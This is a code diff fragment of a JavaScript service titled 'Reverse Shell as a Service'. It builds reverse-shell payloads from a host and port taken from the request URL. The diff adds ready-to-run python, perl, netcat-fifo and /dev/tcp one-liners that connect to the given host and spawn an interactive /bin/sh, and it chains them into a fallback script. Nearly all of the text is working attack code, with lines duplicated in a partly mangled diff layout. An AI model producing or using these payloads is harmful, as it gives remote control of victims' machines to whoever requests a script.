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@ -11,11 +11,28 @@ const usage = `# Reverse Shell as a Service |
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# |
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# |
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# 3. Don't be a dick`;
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# 3. Don't be a dick`;
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const generatePayload = (host, port) => `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`; |
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const generatePayloads = (host, port) => ({ |
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python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`, |
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perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, |
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nc: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${host} ${port} >/tmp/f`, |
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sh: `/bin/sh -i >& /dev/tcp/${host}/${port} 0>&1` |
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}); |
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const generateScript = (host, port) => { |
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const payloads = generatePayloads(host, port); |
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return Object.keys(payloads).reduce((acc, cmd) => { |
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acc += `if command -v ${cmd} > /dev/null 2>&1; then\n` + |
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` ${payloads[cmd]}\n` + |
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' exit; \n' + |
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'fi \n'; |
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return acc; |
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}, ''); |
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}; |
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const reverseShell = req => { |
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const reverseShell = req => { |
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const [host, port] = req.url.substr(1).split(':'); |
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const [host, port] = req.url.substr(1).split(':'); |
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return (host && port) ? generatePayload(host, port) : usage; |
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return (host && port) ? generateScript(host, port) : usage; |
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}; |
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}; |
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module.exports = reverseShell; |
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module.exports = reverseShell; |
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